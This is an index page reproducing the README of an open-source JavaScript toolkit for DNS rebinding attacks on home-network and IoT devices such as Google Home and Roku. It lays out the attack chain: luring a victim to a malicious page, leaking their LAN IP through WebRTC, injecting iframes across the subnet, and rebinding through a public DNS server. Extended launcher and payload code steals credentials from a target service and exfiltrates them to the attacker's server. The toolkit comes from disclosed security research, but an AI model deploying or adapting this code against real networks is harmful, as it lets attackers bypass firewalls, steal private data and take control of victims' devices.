Ecosyste.ms: Awesome

An open API service indexing awesome lists of open source software.

Awesome Lists | Featured Topics | Projects

https://github.com/brannondorsey/dns-rebind-toolkit

A front-end JavaScript toolkit for creating DNS rebinding attacks.
https://github.com/brannondorsey/dns-rebind-toolkit

dns dns-rebinding hacking iot iot-security network-attacks red-team

Last synced: 3 days ago
JSON representation

A front-end JavaScript toolkit for creating DNS rebinding attacks.

Awesome Lists containing this project

README 

        
# DNS Rebind Toolkit



[Demo](http://rebind.network) | 

[Security Advisory](https://medium.com/@brannondorsey/attacking-private-networks-from-the-internet-with-dns-rebinding-ea7098a2d325) | 

[Included Payloads](payloads/README.md) | 

[FAQ](FAQ.md)



**DISCLAIMER: This software is for educational purposes only. This software should not be used for illegal activity. The author is not responsible for its use. Don't be a dick.**



DNS Rebind Toolkit is a frontend JavaScript framework for developing [DNS Rebinding](https://en.wikipedia.org/wiki/DNS_rebinding) exploits against vulnerable hosts and services on a local area network (LAN). It can be used to target devices like Google Home, Roku, Sonos WiFi speakers, WiFi routers, "smart" thermostats, and other IoT devices. With this toolkit, a remote attacker can bypass a router's firewall and directly interact with devices on the victim's home network, exfiltrating private information and in some cases, even controlling the vulnerable devices themselves.



The attack requires a victim on the target network to simply follow a link, or be shown an HTML ad containing a malicious iframe. From their, the victim's web browser is used like a proxy to directly access other hosts connected to their home network. These target machines and services would otherwise be unavailable to the attacker from the Internet. The remote attacker may not know what those services are, or what IP addresses they occupy on the victim's network, but DNS Rebind Toolkit handles this by brute forcing hundreds of likely IP addresses.



Under the hood, this tool makes use of a public [whonow DNS server](https://github.com/brannondorsey/whonow) running on rebind.network:53 to execute the DNS rebinding attack and fool the victim's web browser into violating the [Same-origin policy](https://en.wikipedia.org/wiki/Same-origin_policy). From their, it uses [WebRTC](https://en.wikipedia.org/wiki/WebRTC) to leak the victim's private IP address, say 192.168.1.36. It uses the first three octets of this local IP address to guess the network's subnet and then inject 256 iframes, from 192.168.1.0-255 delivering a payload to each host that could possibly be on the network subnet. 



This toolkit can be used to develop and deploy your own DNS rebinding attacks. Several real-world attack payloads are included with this toolkit in the [`payloads/`](payloads) directory. These payloads include  information exfiltration (and rickroll tom-foolery) attacks against a few popular IoT devices, including Google Home and Roku products.



> This toolkit is the product of independent security research into DNS Rebinding attacks. You can read about that original research [here](https://medium.com/@brannondorsey/attacking-private-networks-from-the-internet-with-dns-rebinding-ea7098a2d325).



## Getting Started



```bash

# clone the repo

git clone https://github.com/brannondorsey/dns-rebind-toolkit.git

cd dns-rebind-toolkit



# install dependencies

npm install



# run the server using root to provide access to privileged port 80 

# this script serves files from the www/, /examples, /share, and /payloads directories

sudo node server

```



By default, `server.js` serves payloads targeting Google Home, Roku, Sonos speakers, Phillips Hue light bulbs and Radio Thermostat devices running their services on ports 8008, 8060, 1400, 80 and 80 respectively. If you've got one of these devices on your home network, navigate to http://rebind.network for a nice surprise ;). Open the developer's console and watch as these services are harmlessly exploited causing data to be stolen from them and exfiltrated to `server.js`.



## API and Usage



This toolkit provides two JavaScript objects that can be used together to create DNS rebinding attacks:



- [`DNSRebindAttack`](share/js/DNSRebindAttack.js): This object is used to launch an attack against a vulnerable service running on a known port. It spawns one payload for each IP address you choose to target. `DNSRebindAttack` objects are used to create, manage, and communicate with multiple `DNSRebindNode` objects. Each payload launched by `DNSRebindAttack` must contain a `DNSRebindNode` object.

- [`DNSRebindNode`](share/js/DNSRebindNode.js): This static class object should be included in each HTML payload file. It is used to target one service running on one host. It can communicate with the `DNSRebindAttack` object that spawned it and it has helper functions to execute the DNS rebinding attack (using `DNSRebindNode.rebind(...)`) as well as exfiltrate data discovered during the attack to `server.js` (`DNSRebindNode.exfiltrate(...)`).



These two scripts are used together to execute an attack against unknown hosts on a firewall protected LAN. A basic attack looks like this:



1. Attacker sends victim a link to a malicious HTML page that launches the attack: e.g. `http://example.com/launcher.html`. `launcher.html` contains an instance of `DNSRebindAttack`.

2. The victim follows the attacker's link, or visits a page where `http://example.com/launcher.html` is embedded as an iframe. This causes the `DNSRebindAttack` on `launcher.html` to begin the attack.

3. `DNSRebindAttack` uses a [WebRTC leak](https://github.com/diafygi/webrtc-ips) to discover the local IP address of the victim machine (e.g. `192.168.10.84`). The attacker uses this information to choose a range of IP addresses to target on the victim's LAN (e.g. `192.168.10.0-255`).

4. `launcher.html` launches the DNS rebinding attack (using `DNSRebindAttack.attack(...)`) against a range of IP addresses on the victim's subnet, targeting a single service (e.g. the [undocumented Google Home REST API](https://rithvikvibhu.github.io/GHLocalApi/) available on port `8008`).

5. At an interval defined by the user (200 milliseconds by default), `DNSRebindAttack` embeds one iframe containing `payload.html` into the `launcher.html` page. Each iframe contains one `DNSRebindNode` object that executes an attack against port 8008 of a single host defined in the range of IP addresses being attacked. This injection process continues until an iframe has been injected for each IP address that is being targeted by the attack.

6. Each injected `payload.html` file uses `DNSRebindNode` to attempt a rebind attack by communicating with a [whonow DNS server](https://github.com/brannondorsey/whonow). If it succeeds, same-origin policy is violated and `payload.html` can communicate with the Google Home product directly. Usually `payload.html` will be written in such a way that it makes a few API calls to the target device and exfiltrates the results to `server.js` running on `example.com` before finishing the attack and destroying itself. 



Note, if a user has one Google Home device on their network with an unknown IP address and an attack is launched against the entire `192.168.1.0/24` subnet, then one `DNSRebindNode`'s rebind attack will be successful and 254 will fail.



## Examples



An attack consists of three coordinated scripts and files:



- An HTML file containing an instance of `DNSRebindAttack` (e.g. `launcher.html`)

- An HTML file containing the attack payload (e.g. `payload.html`). This file is embedded into `launcher.html` by `DNSRebindAttack` for each IP address being targetted.

- A DNS Rebinding Toolkit server (`server.js`) to deliver the above files and exfiltrate data if need be.



### `launcher.html`



Here is an example HTML launcher file. You can find the complete document in [`examples/launcher.html`](examples/launcher.html).



```html



	Example launcher



    

    

    

    

    



    // DNSRebindAttack has a static method that uses WebRTC to leak the

    // browser's IP address on the LAN. We'll use this to guess the LAN's IP

    // subnet. If the local IP is 192.168.1.89, we'll launch 255 iframes

    // targetting all IP addresses from 192.168.1.1-255

    DNSRebindAttack.getLocalIPAddress()

    .then(ip => launchRebindAttack(ip))

    .catch(err => {

        console.error(err)

        // Looks like our nifty WebRTC leak trick didn't work (doesn't work

        // in some browsers). No biggie, most home networks are 192.168.1.1/24

        launchRebindAttack('192.168.1.1')

    })

    

    function launchRebindAttack(localIp) {

        

        // convert 192.168.1.1 into array from 192.168.1.0 - 192.168.1.255

        const first3Octets = localIp.substring(0, localIp.lastIndexOf('.'))

        const ips = [...Array(256).keys()].map(octet => `${first3Octets}.${octet}`)

        

        // The first argument is the domain name of a publicly accessible

        // whonow server (https://github.com/brannondorsey/whonow).

        // I've got one running on port 53 of rebind.network you can to use.

        // The services you are attacking might not be running on port 80 so 

        // you will probably want to change that too.

        const rebind = new DNSRebindAttack('rebind.network', 80)



        // Launch a DNS Rebind attack, spawning 255 iframes attacking the service

        // on each host of the subnet (or so we hope).

        // Arguments are:

        //  1) target ip addresses

        //  2) IP address your Node server.js is running on. Usually 127.0.0.1

        //     during dev, but then the publicly accessible IP (not hostname)

        //     of the VPS hosting this repo in production.

        //  3) the HTML payload to deliver to this service. This HTML file should

        //     have a DNSRebindNode instance implemented on in it.

        //  4) the interval in milliseconds to wait between each new iframe

        //     embed. Spawning 100 iframes at the same time can choke (or crash)

        //     a browser. The higher this value, the longer the attack takes,

        //     but the less resources it consumes.

        rebind.attack(ips, '127.0.0.1', 'examples/payload.html', 200)

        

        // rebind.nodes is also an EventEmitter, only this one is fired using

        // DNSRebindNode.emit(...). This allows DNSRebindNodes inside of

        // iframes to post messages back to the parent DNSRebindAttack that

        // launched them. You can define custome events by simply emitting

        // DNSRebindNode.emit('my-custom-event') and a listener in rebind.nodes

        // can receive it. That said, there are a few standard event names that

        // get triggered automagically:

        //  - begin: triggered when DNSRebindNode.js is loaded. This signifies

        //    that an attack has been launched (or at least, it's payload was

        //    delivered) against an IP address.

        //  - rebind: the DNS rebind was successful, this node should now be

        //    communicating with the target service.

        //  - exfiltrate: send JSON data back to your Node server.js and save

        //    it inside the data/ folder.

        // Additionally, the DNSRebindNode.destroy() static method

        // will trigger the 'destory' event and cause DNSRebindAttack to

        // remove the iframe.



        rebind.nodes.on('begin', (ip) => {

            // the DNSRebindNode has been loaded, attacking ip

        })



        rebind.nodes.on('rebind', (ip) => {

            // the rebind was successful

            console.log('node rebind', ip)

        })



        rebind.nodes.on('exfiltrate', (ip, data) => {

            // JSON data was exfiltrated and saved to the data/

            // folder on the remote machine hosting server.js

            

            console.log('node exfiltrate', ip, data)

            

            // data = {

            //     "username": "crashOverride",

            //     "password": "hacktheplanet!",

            // }

        })

    }

    



    attack()

    .then(() => {},

          err => {

              // there was an error at some point during the attack

              console.error(err)

              DNSRebindNode.emit('fatal', err.message)

          }

    ) // remove this iframe by calling destroy()

    .then(() => DNSRebindNode.destroy())



    // launches the attack and returns a promise that is resolved if the target

    // service is found and correctly exploited, or more likely, rejected because

    // this host doesn't exist, the target service isn't running, or something

    // went wrong with the exploit. Remember that this attack is being launched

    // against 255+ IP addresses, so most of them won't succeed.

    async function attack() {



        // DNSRebindNode has some default fetch options that specify things

        // like no caching, etc. You can re-use them for convenience, or ignore

        // them and create your own options object for each fetch() request.

        // Here are their default values:

        // {

        //     method: "GET",

        //     headers: {

        //         // this doesn't work in all browsers. For instance,

        //         // Firefox doesn't let you do this.

        //         "Origin": "", // unset the origin header

        //         "Pragma": "no-cache",

        //         "Cache-Control": "no-cache"

        //     },

        //     cache: "no-cache"

        // }

        const getOptions = DNSRebindNode.fetchOptions()



        try {

            // In this example, we'll pretend we are attacking some service with

            // an /auth.json file with username/password sitting in plaintext.

            // Before we swipe those creds, we need to first perform the rebind

            // attack. Most likely, our webserver will cache the DNS results

            // for this page's host. DNSRebindNode.rebind(...) recursively

            // re-attempts to rebind the host with a new, target IP address.

            // This can take over a minute, and if it is unsuccessful the

            // promise is rejected.

            const opts = {

                // these options get passed to the DNS rebind fetch request

                fetchOptions: getOptions,

                // by default, DNSRebindNode.rebind() is considered successful

                // if it receives an HTTP 200 OK response from the target service.

                // However, you can define any kind of "rebind success" scenario

                // yourself with the successPredicate(...) function. This

                // function receives a fetch result as a parameter and the return

                // value determines if the rebind was successful (i.e. you are

                // communicating with the target server). Here we check to see

                // if the fetchResult was sent by our example vulnerable server. 

                successPredicate: (fetchResult) => {

                    return fetchResult.headers.get('Server') == 'Example Vulnerable Server v1.0'

                }

            }

            // await the rebind. Can take up to over a minute depending on the 

            // victim's DNS cache settings or if there is no host listening on

            // the other side.

            await DNSRebindNode.rebind(`http://${location.host}/auth.json`, opts)

        } catch (err) {

            // whoops, the rebind failed. Either the browser's DNS cache was

            // never cleared, or more likely, this service isn't running on the

            // target host. Oh well... Bubble up the rejection and have our

            // attack()'s rejection handler deal w/ it.

            return Promise.reject(err)

        }



        try {

            // alrighty, now that we've rebound the host and are communicating

            // with the target service, let's grab the credentials

            const creds = await fetch(`http://${location.host}/auth.json`)

                                .then(res => res.json())



             // {

             //     "username": "crashOverride",

             //     "password": "hacktheplanet!",

             // }

            // console.log(creds)



            // great, now let's exfiltrate those creds to the Node.js server

            // running this whole shebang. That's the last thing we care about,

            // so we will just return this promise as the result of attack()

            // and let its handler's deal with it.

            //

            // NOTE: the second argument to exfiltrate(...) must be JSON

            // serializable.

            return DNSRebindNode.exfiltrate('auth-example', creds)



        } catch (err) {

            return Promise.reject(err)

        }

    }